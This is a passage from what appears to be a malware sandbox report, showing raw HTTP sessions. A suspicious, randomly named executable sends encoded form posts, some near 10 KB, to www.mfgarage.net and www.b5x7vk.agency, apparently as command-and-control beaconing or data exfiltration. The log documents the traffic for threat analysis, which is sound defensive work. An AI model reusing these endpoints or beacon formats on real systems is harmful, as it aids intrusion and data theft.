csls=bwBFavERgUZ8k8kU22d6KYTtBhKoM7WI71i3i194JxHRIIQ_kPs73rZUOiUNgGwZIDMHuZ8NPZWBx2KF20o2-Q; Domain=.sahibinden.com; Expires=Thu, 25-Sep-2025 10:48:49 GMT; Path=/; Secure; SameSite=None set-cookie: csid=B4kwnoMrphvuLTuCHRP-z_8p-pyjDsJ90piCZMAjOQGjk9uknEc3iATeRqDpk002IeSO5luEbzXJZHK6pDrHiHIbx_w1CyIwaNpaSc3kYU7cmKH4nphlfRoc2gvaeL2VqKyvCkZh0tfBmcafQjTLVPVx6ZceR06UPB6fNYma_9-gBs-Qfn0fam0SL1zRQ-GQ3alTTpCdum295MRErVOhNFT6osoN08De3Xyqkd0zDKUMYZk2sYFbbB9tIFVBZnV_fLG5ghqdGTb4CNB9BhQva-OvYcuj8LiqHcKJMIho5jKl1HDx1bS0VbqlFhOhcJvpuNGUvMmWI1 Data Raw: Data Ascii:
Sep 25, 2024 12:48:49.969595909 CEST	407	IN	Data Raw: 55 4c 49 58 30 65 56 6a 75 6a 46 4b 62 59 38 51 31 74 54 79 4f 54 76 67 6c 2d 44 4a 7a 38 77 72 41 45 4d 51 4a 74 69 78 7a 76 64 67 59 32 2d 53 5a 32 75 53 79 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 Data Ascii: ULIX0eVjujFKbY8Q1tTyOTvgl-DJz8wrAEMQJtixzvdgY2-SZ2uSy; Domain=.sahibinden.com; Expires=Wed, 25-Sep-2024 11:03:49 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49767	85.153.138.113	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:51.792922020 CEST	786	OUT	POST /3lu7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mfgarage.net Origin: http://www.mfgarage.net Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mfgarage.net/3lu7/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 71 78 2b 49 63 70 55 41 39 6a 30 70 75 48 51 58 62 44 78 41 35 39 79 45 36 41 48 31 68 61 56 2b 45 4a 54 55 67 76 38 36 34 58 55 58 66 2b 67 62 31 50 67 54 68 59 53 52 66 53 48 70 31 43 4e 7a 4a 70 59 41 78 4c 2b 53 6f 75 45 59 6e 38 6a 6e 4e 52 74 59 54 59 61 6c 54 6c 46 69 52 6e 67 4c 32 58 50 46 56 72 79 72 59 43 49 7a 58 77 73 6b 55 54 4d 36 57 6c 35 5a 47 33 2b 2f 5a 39 36 73 68 36 41 72 4e 33 67 50 44 6e 50 70 58 6b 4b 76 54 47 70 7a 64 2f 46 51 51 78 36 65 4b 5a 49 34 61 56 33 6a 38 7a 41 7a 56 61 58 35 75 77 43 30 47 77 54 58 42 7a 68 72 58 61 37 46 6f 44 2f 76 61 76 38 4d 6c 6a 6b 41 4b 6d 57 44 55 5a 38 64 76 4d 2f 46 64 4d 55 3d Data Ascii: PR_xXrA=qx+IcpUA9j0puHQXbDxA59yE6AH1haV+EJTUgv864XUXf+gb1PgThYSRfSHp1CNzJpYAxL+SouEYn8jnNRtYTYalTlFiRngL2XPFVryrYCIzXwskUTM6Wl5ZG3+/Z96sh6ArN3gPDnPpXkKvTGpzd/FQQx6eKZI4aV3j8zAzVaX5uwC0GwTXBzhrXa7FoD/vav8MljkAKmWDUZ8dvM/FdMU=
Sep 25, 2024 12:48:52.523732901 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=383; Domain=.sahibinden.com; Expires=Sat, 25-Sep-2027 10:48:52 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=0ZaNZeUw1KpSto3R66f3ea94; Domain=.sahibinden.com; Expires=Sat, 25-Sep-2027 10:48:52 GMT; Path=/; Secure; SameSite=None set-cookie: csss=OA_0GnEPk8o7kbqmxOQPWogk7KKnYdLrDv6Dj1rsFIh6wlzIBoAAbQtKEwpTn-Yv1v3CVAtVMvtg4R_YbTwgvg; Domain=.sahibinden.com; Expires=Wed, 25-Sep-2024 11:18:52 GMT; Path=/; Secure; SameSite=None set-cookie: csls=4Tq_TwfCIKOBT0Kt3xXH2KRDwTCMXWGBIwCy1A7SB15if3rDlchzM5cMtpnnJNOx5Yl7LQpfu8JoX_aEGpktkA; Domain=.sahibinden.com; Expires=Thu, 25-Sep-2025 10:48:52 GMT; Path=/; Secure; SameSite=None set-cookie: csid=-z_wSwLLY7z38KVTE3k1mBUxcPAXTFRH-sMfntPMWT9cJzPIPK9go99zKPpEQ63lLEtLRPUAsjCUa_6TBaQRkiS-wkZxJtl1BgR0HI8edpJTsYFlpi140KZdtJ-3D5nLbiNo66jfAdvjw4uC6gcxdrsgTh393D6q5nKtmAG5AQiVMq4OSnqSWXwgYRrCeDrGhWfXbWTjWpPiJf8cHBGJALYmpV7sMsmUPdbIRm4Wm8uOW42UmHiSGcHW8800-dX2sOLeOjnZq6cY4CFuNrbucF1KsH9DljcCxqlN06ItkykmxqvpPohVtuBBxKsBcA1kyvXE6gMdyg Data Raw: Data Ascii:
Sep 25, 2024 12:48:52.523838043 CEST	407	IN	Data Raw: 33 6a 36 59 59 6d 71 64 6a 63 32 4b 30 31 79 32 58 4e 4c 64 30 5f 55 33 64 31 44 61 63 55 51 70 44 4f 74 76 5a 70 63 6c 72 55 66 67 55 4a 73 50 6c 58 6a 5f 63 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 Data Ascii: 3j6YYmqdjc2K01y2XNLd0_U3d1DacUQpDOtvZpclrUfgUJsPlXj_c; Domain=.sahibinden.com; Expires=Wed, 25-Sep-2024 11:03:52 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49768	85.153.138.113	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:54.346404076 CEST	10868	OUT	POST /3lu7/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mfgarage.net Origin: http://www.mfgarage.net Content-Length: 10304 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mfgarage.net/3lu7/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 71 78 2b 49 63 70 55 41 39 6a 30 70 75 48 51 58 62 44 78 41 35 39 79 45 36 41 48 31 68 61 56 2b 45 4a 54 55 67 76 38 36 34 58 4d 58 66 73 34 62 31 76 63 54 67 59 53 52 57 79 48 71 31 43 4e 71 4a 70 51 45 78 4c 7a 76 6f 71 30 59 68 61 76 6e 4c 67 74 59 5a 59 61 6c 61 46 46 6a 56 6e 67 6b 32 57 2b 4e 56 72 69 72 59 43 49 7a 58 79 30 6b 64 6d 77 36 51 6c 35 65 4f 58 2b 4a 64 39 36 41 68 36 59 52 4e 33 55 78 57 44 7a 70 5a 67 75 76 65 51 39 7a 65 66 46 65 54 78 36 38 4b 5a 45 6e 61 56 72 5a 38 77 63 5a 56 61 6a 35 2b 57 33 31 46 54 37 76 51 7a 70 71 41 4b 33 46 6b 51 50 52 62 2f 38 4e 74 52 51 70 49 69 65 65 65 49 73 54 31 2b 58 7a 43 70 6d 50 4f 33 30 53 4c 44 61 6d 4b 62 54 62 58 46 72 55 50 48 4b 65 76 36 35 4c 70 47 6a 46 41 4c 6f 47 37 37 6f 61 63 62 32 69 38 37 4c 32 6f 64 72 64 53 6a 72 37 4b 38 35 5a 6c 74 62 77 6e 4e 51 76 34 68 70 36 54 51 5a 52 2f 51 71 58 53 48 63 47 63 70 33 30 66 70 6a 74 4c 35 76 48 4e 36 46 2b 65 38 2b 52 76 38 4c 68 44 76 43 53 36 45 4d 48 6c 45 [TRUNCATED] Data Ascii: PR_xXrA=qx+IcpUA9j0puHQXbDxA59yE6AH1haV+EJTUgv864XMXfs4b1vcTgYSRWyHq1CNqJpQExLzvoq0YhavnLgtYZYalaFFjVngk2W+NVrirYCIzXy0kdmw6Ql5eOX+Jd96Ah6YRN3UxWDzpZguveQ9zefFeTx68KZEnaVrZ8wcZVaj5+W31FT7vQzpqAK3FkQPRb/8NtRQpIieeeIsT1+XzCpmPO30SLDamKbTbXFrUPHKev65LpGjFALoG77oacb2i87L2odrdSjr7K85ZltbwnNQv4hp6TQZR/QqXSHcGcp30fpjtL5vHN6F+e8+Rv8LhDvCS6EMHlEiJqY+3kaCdijHR0+CM/ZqRlufycJGyGcdWDGe/CFMJfJaS72OpwFotnfQ9CEbQr9QYTOqMUCTOmq+8qU+sAkGtocE4gM/uRvzE/eTEg98zmqF2+arFamJGHe6BbDkdEDPWrT66O13OYN+a8u8nlbiOAaaY7GAjemc/L+O6DXrTqVIqc1tD5dB/7bFo3+RA4LXnF/npKTborRk+nlXI5qUewRVbdAtaL8Mmnxdps8GX6mGB0oqSIdYKXihgbKx51rkSGcEzSm88wJQgHemwCqeEn7n5ZY6dsUjfpXw9oFtT6b/YI4ZIdYIogmkxWkwFiHbJpLmgIAll7XADnNS9PdWaZK8qVA1WjYzbSuVHZXvgogFT1uZ6jiFSfkC0M7AQghw2HXXovYg+cKTKhL0pBoVuneo4ERI0SDBSZXWIHcwlJST+ohaCJjNnH0Uy7Jc9zJuF/VSKEWBgqnben4BKWqVlxbm9dFB5UMu0i1Y+L/tceAOkIxM1AoP4VDPN3zhl1s/PANTA2Ei2ye6ZI6iQWTO0hGz0bLvWh4DV3WlTXafTjuwA8qr8t8vCfNgy8iqyoaeJo+LNHeo7xwUD1ExkJ74qB6tuqEBOaSEHRtatko1A2ax+c5S0AYCuuCbDP0Pk533xzefFToRtGsAEUEeBOYkhwrkJqizuf+SV [TRUNCATED]
Sep 25, 2024 12:48:55.213120937 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=537; Domain=.sahibinden.com; Expires=Sat, 25-Sep-2027 10:48:55 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=i43QxKBVDlxRyuJX66f3ea97; Domain=.sahibinden.com; Expires=Sat, 25-Sep-2027 10:48:55 GMT; Path=/; Secure; SameSite=None set-cookie: csss=hERC-8EAwqGT9wsa2866Um-eqxanlNF5C8YDmd5NylOb9KQAdn795bb89yWcwEK3W-h7uazf0badJy9CaVrQ8A; Domain=.sahibinden.com; Expires=Wed, 25-Sep-2024 11:18:55 GMT; Path=/; Secure; SameSite=None set-cookie: csls=YvIoRwZXT3VFZpdu6bLU7-z6nBHrmxOAxPfcSj9PmBbB9R6C8q8FCDcar0ApeNY07wwkV89WZf6pcOicwufhtg; Domain=.sahibinden.com; Expires=Thu, 25-Sep-2025 10:48:55 GMT; Path=/; Secure; SameSite=None set-cookie: csid=01TjslnEzAznE64PIMyalVxgIat7ENpmb-aCEyH3Z04XYyN9-oL8QVPOQ9DlwK6VwDIan6MJ-tpGnw9sHoFrzBgXmi4TdmH4FMMKS9vk6ifU0jj39ZhRkaBxF7qsGW4p-icpqdZkmDlnVnhMwwBpFWoi_75Adl85Xdr46Z1H9SZSuhKiMt3M2xz7st06cYDo1F10i5VPDbEB2OYEEL1bTHNEopP7FcAuiwh57KrRHYF5Hm7AdmZyzxQkw0la_ZKn9GrGmdW93WgGBDd6FUf3SaGbpiXKkdn80q-aXMRItTVuJuqHQ3BHYOoAM1ptgcB2ENA09_AmlW Data Raw: Data Ascii:
Sep 25, 2024 12:48:55.213213921 CEST	407	IN	Data Raw: 33 71 47 6b 79 74 71 34 5a 68 38 32 44 6e 33 77 4b 5f 77 66 6f 47 6e 73 31 50 7a 69 75 5a 4b 7a 51 58 78 5f 43 31 43 33 5f 61 39 6f 52 4d 6c 6d 41 69 49 57 76 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 Data Ascii: 3qGkytq4Zh82Dn3wK_wfoGns1PziuZKzQXx_C1C3_a9oRMlmAiIWv; Domain=.sahibinden.com; Expires=Wed, 25-Sep-2024 11:03:55 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49769	85.153.138.113	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:48:56.884349108 CEST	508	OUT	GET /3lu7/?PR_xXrA=nzWofdhWpyQTuQkDfxpOhZSR2SP28ZN4SJ26h7kwykQFM8AQx5IfrLSrYivs6QFJHI8FrKvcoPkOi5L1XFRCLbCiXi5UAF8H0knLfKrCbz8tBFYRfGccZ0A=&n0=mTk8u4lhzbnhVh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mfgarage.net Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 25, 2024 12:48:57.629153967 CEST	1236	IN	HTTP/1.1 302 Found x-content-type-options: nosniff x-frame-options: SAMEORIGIN content-security-policy: frame-ancestors 'self' https://*.sahibinden.com pragma: no-cache expires: 0 cache-control: no-cache, no-store, must-revalidate set-cookie: vid=631; Domain=.sahibinden.com; Expires=Sat, 25-Sep-2027 10:48:57 GMT; Path=/; Secure; SameSite=None set-cookie: cdid=z68uwdRFgC3zKsDm66f3ea99; Domain=.sahibinden.com; Expires=Sat, 25-Sep-2027 10:48:57 GMT; Path=/; Secure; SameSite=None set-cookie: csss=KEO8PlpMOyatgUbQNFP21NzVW_z10Xy1UB5grVDj0Rdi7YfzPxMWWFZmRxdQ4AbNWFkWluw49lNl5wkjPLgl_Q; Domain=.sahibinden.com; Expires=Wed, 25-Sep-2024 11:18:57 GMT; Path=/; Secure; SameSite=None set-cookie: csls=Xplx8EBuhjI1wU2d_6Y2lJvq-beT1ZSc1K_yET3Ro052oxCT7LLKXWmyQ-APP0bDsCv2u8LuHwFp4YixmTLPLg; Domain=.sahibinden.com; Expires=Thu, 25-Sep-2025 10:48:57 GMT; Path=/; Secure; SameSite=None set-cookie: csid=_MVyJrKgW5yslzSyi4bcy0_xBsCnVNmNTcm50uRVxRS5IwEhamI6issBMIstZv5QOdqoe-U1aHW7hBSUj3Vquwdq_w8Sja6vxuq7YoN48iMFeE1q9SbcVJISovsrH0D3PA6vuurt_ptZwSkjcM7wdysr2TXmvf3FdVUva1HMhnADuFpHxqmBm62q5zcxqPPKxNFG6_Wg6NCLb9Ed4AME8t-GE23q_qgSWbt88OeJpOSI7URdye1CN4YuqQ5-xy0--JmJuvKCWoLOMvkHZdppAtmNYl8V8KUm9kx7dGmA4fEXKaDXbEzbpTSt7XS4rh-yvTNcuH4MpZ Data Raw: Data Ascii:
Sep 25, 2024 12:48:57.629215002 CEST	564	IN	Data Raw: 35 54 62 59 77 71 65 5f 43 45 31 64 79 77 62 66 6e 59 66 63 4b 57 5f 55 47 76 53 51 6a 49 77 67 70 4a 62 4a 37 47 36 52 6c 55 35 6c 48 6e 6c 4c 78 36 48 32 6a 3b 20 44 6f 6d 61 69 6e 3d 2e 73 61 68 69 62 69 6e 64 65 6e 2e 63 6f 6d 3b 20 45 78 70 Data Ascii: 5TbYwqe_CE1dywbfnYfcKW_UGvSQjIwgpJbJ7G6RlU5lHnlLx6H2j; Domain=.sahibinden.com; Expires=Wed, 25-Sep-2024 11:03:57 GMT; Path=/; Secure; SameSite=Nonevary: User-Agentlocation: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49770	104.21.11.31	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:49:02.783584118 CEST	769	OUT	POST /zznj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.b5x7vk.agency Origin: http://www.b5x7vk.agency Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.b5x7vk.agency/zznj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 61 50 58 36 63 68 65 4c 6d 4f 73 63 6d 6c 34 53 35 37 43 2b 76 61 6b 7a 7a 52 77 7a 54 4f 35 6e 36 49 54 37 69 37 54 54 76 52 69 52 42 69 7a 36 79 5a 4f 44 66 38 45 4f 79 31 37 34 48 72 78 71 50 58 38 66 32 41 50 6e 72 2b 33 4d 4f 54 41 45 4b 71 32 71 55 32 32 45 30 6c 62 72 69 69 34 56 37 61 43 6f 4a 4e 38 47 37 51 71 57 5a 42 6c 58 36 68 53 4c 6a 67 56 34 54 35 58 65 69 57 4f 62 76 30 57 64 59 6f 67 59 36 52 52 62 30 6a 35 61 6b 36 53 75 4d 55 2b 38 53 34 49 64 32 53 6f 57 44 54 62 69 2f 59 6c 4f 4c 53 51 5a 39 2f 33 4c 78 53 72 2f 43 47 74 69 44 61 72 7a 4b 73 73 50 46 51 3d 3d Data Ascii: PR_xXrA=aPX6cheLmOscml4S57C+vakzzRwzTO5n6IT7i7TTvRiRBiz6yZODf8EOy174HrxqPX8f2APnr+3MOTAEKq2qU22E0lbrii4V7aCoJN8G7QqWZBlX6hSLjgV4T5XeiWObv0WdYogY6RRb0j5ak6SuMU+8S4Id2SoWDTbi/YlOLSQZ9/3LxSr/CGtiDarzKssPFQ==
Sep 25, 2024 12:49:03.768829107 CEST	748	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 10:49:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ouS10xTwD8ru2V88eyeaUNzDjjw3jcB4v0AGRb785Rx3vIc0iiXEEnHV%2FqKaKJt1ZsnwxtmHdX7wth%2FnmdEatUUiL%2Bh%2FJ7DHbeCP2TPGIf%2BFlS6sFwN5hHHXVXWCxJIGz6a9eA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8a7202efc44370-EWR Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49771	104.21.11.31	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:49:05.326937914 CEST	789	OUT	POST /zznj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.b5x7vk.agency Origin: http://www.b5x7vk.agency Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.b5x7vk.agency/zznj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 61 50 58 36 63 68 65 4c 6d 4f 73 63 30 57 51 53 34 63 32 2b 37 4b 6b 77 38 78 77 7a 49 65 35 6a 36 50 62 37 69 36 6e 44 76 44 32 52 42 48 50 36 78 62 6d 44 4d 4d 45 4f 35 56 36 7a 5a 62 77 6b 50 58 77 39 32 46 50 6e 72 2b 54 4d 4f 54 77 45 4a 5a 75 70 55 6d 32 38 2f 46 62 74 73 43 34 56 37 61 43 6f 4a 4e 6f 67 37 51 43 57 59 78 31 58 37 43 4b 49 67 67 56 37 53 35 58 65 6d 57 4f 66 76 30 57 2f 59 6f 52 51 36 55 64 62 30 6a 4a 61 6b 50 75 74 58 6b 2b 36 4e 6f 4a 43 78 78 64 50 61 78 36 65 35 5a 35 75 44 6a 73 31 38 35 6d 52 67 6a 4b 6f 51 47 4a 52 65 64 69 48 48 76 52 47 65 64 79 65 58 68 34 42 50 68 33 36 48 5a 67 69 39 4f 39 78 7a 56 49 3d Data Ascii: PR_xXrA=aPX6cheLmOsc0WQS4c2+7Kkw8xwzIe5j6Pb7i6nDvD2RBHP6xbmDMMEO5V6zZbwkPXw92FPnr+TMOTwEJZupUm28/FbtsC4V7aCoJNog7QCWYx1X7CKIggV7S5XemWOfv0W/YoRQ6Udb0jJakPutXk+6NoJCxxdPax6e5Z5uDjs185mRgjKoQGJRediHHvRGedyeXh4BPh36HZgi9O9xzVI=
Sep 25, 2024 12:49:06.297909975 CEST	746	IN	HTTP/1.1 404 Not Found Date: Wed, 25 Sep 2024 10:49:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7WQdDnWPed89HzWGgTf51KdnXSFEtI3uir7Bx6AExEa38vvlI2f7jwfuMiuX1GLk3qOM%2F%2FpJV5mKz%2FBAdiMSqk39Uo9HMeDDxeIB%2Blsq38rNqa44wCocskp54eRP323TYLhToQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c8a7212b843438b-EWR Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49772	104.21.11.31	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:49:08.114710093 CEST	10871	OUT	POST /zznj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.b5x7vk.agency Origin: http://www.b5x7vk.agency Content-Length: 10304 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.b5x7vk.agency/zznj/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 61 50 58 36 63 68 65 4c 6d 4f 73 63 30 57 51 53 34 63 32 2b 37 4b 6b 77 38 78 77 7a 49 65 35 6a 36 50 62 37 69 36 6e 44 76 44 4f 52 42 31 58 36 79 36 6d 44 50 4d 45 4f 36 56 36 77 5a 62 78 34 50 58 6f 35 32 46 4c 33 72 38 37 4d 49 77 34 45 65 59 75 70 62 6d 32 38 77 6c 62 73 69 69 34 36 37 61 53 73 4a 4e 34 67 37 51 43 57 59 33 35 58 38 52 53 49 76 41 56 34 54 35 58 61 69 57 4f 6e 76 30 50 41 59 73 4d 79 35 67 68 62 7a 44 5a 61 33 4a 36 74 62 6b 2b 34 4d 6f 4a 4b 78 78 42 71 61 78 58 76 35 5a 64 49 44 6a 49 31 38 4e 37 6f 6e 41 61 53 4f 47 52 33 43 71 36 34 41 50 78 4c 51 74 47 47 59 52 51 68 61 52 2f 69 50 34 46 41 6e 37 70 4f 73 78 6c 4b 62 2b 57 71 4e 4d 4f 6c 70 65 55 4f 46 4f 77 2b 49 69 74 45 46 68 4f 6d 48 4d 6f 74 2f 67 52 69 51 6c 4a 4e 59 75 52 63 75 74 73 30 52 64 59 4a 53 5a 77 35 53 31 2b 6d 57 6c 46 58 49 7a 41 36 2f 76 2f 59 54 56 6d 43 30 54 67 5a 48 68 58 48 41 63 63 49 55 35 67 51 4c 33 6d 75 63 4f 50 6a 38 30 73 42 6f 68 4c 46 62 6c 66 61 6d 35 69 30 78 4b [TRUNCATED] Data Ascii: PR_xXrA=aPX6cheLmOsc0WQS4c2+7Kkw8xwzIe5j6Pb7i6nDvDORB1X6y6mDPMEO6V6wZbx4PXo52FL3r87MIw4EeYupbm28wlbsii467aSsJN4g7QCWY35X8RSIvAV4T5XaiWOnv0PAYsMy5ghbzDZa3J6tbk+4MoJKxxBqaxXv5ZdIDjI18N7onAaSOGR3Cq64APxLQtGGYRQhaR/iP4FAn7pOsxlKb+WqNMOlpeUOFOw+IitEFhOmHMot/gRiQlJNYuRcuts0RdYJSZw5S1+mWlFXIzA6/v/YTVmC0TgZHhXHAccIU5gQL3mucOPj80sBohLFblfam5i0xKxxhEOFqCDHlAZNVdzSkE65jB26rs7A2VvjgL4xqMK2IAjC2NoS1f+9MKMRLloxo12nqgf4oc9o5/SE78ABrqkRW+xgoaPjpdzfLOG5FoMZ1MAIEaNI+rOqJJCMO83envsstKyzShOd9LM5LFqgLTlEtTjGn/t6rJlmN00e8DOpLjoimQNYYJNz0UX0bIOHIbYsE8NFDB2kzrULeJpNpDFy5iBWDKC5jE9dyD2jnzg0tUziuybZeXM2HT3TChQr03+LMSN8vgZAA9r/noCI1yc5nn6QE0rSKy8HtJq+JjneEWEGlq4W6D0gDrPp4R1eUFt7b7GZnJKgiMerLW0xeLCAfqMoezhWbEi+wCQ6qCsChglc4MgzMrdiP7HNEhWPGhgjzawOFZGpUlxf+UvK0iavPtTmHJXS84BMzh7EkG/AudeZaijQHYCaxg0/GeAOAIw01c08X+ENiJ2oaxBJ9qs1lmv8otGs93/SVnnKvDrOMfBuz84HDwL4jVhsYgByP1xa98tEfk4AAada26jnYr9xmAfgbomwJZXP9t1ypYlaeFzrM/xUJDcs4Quxu3xYt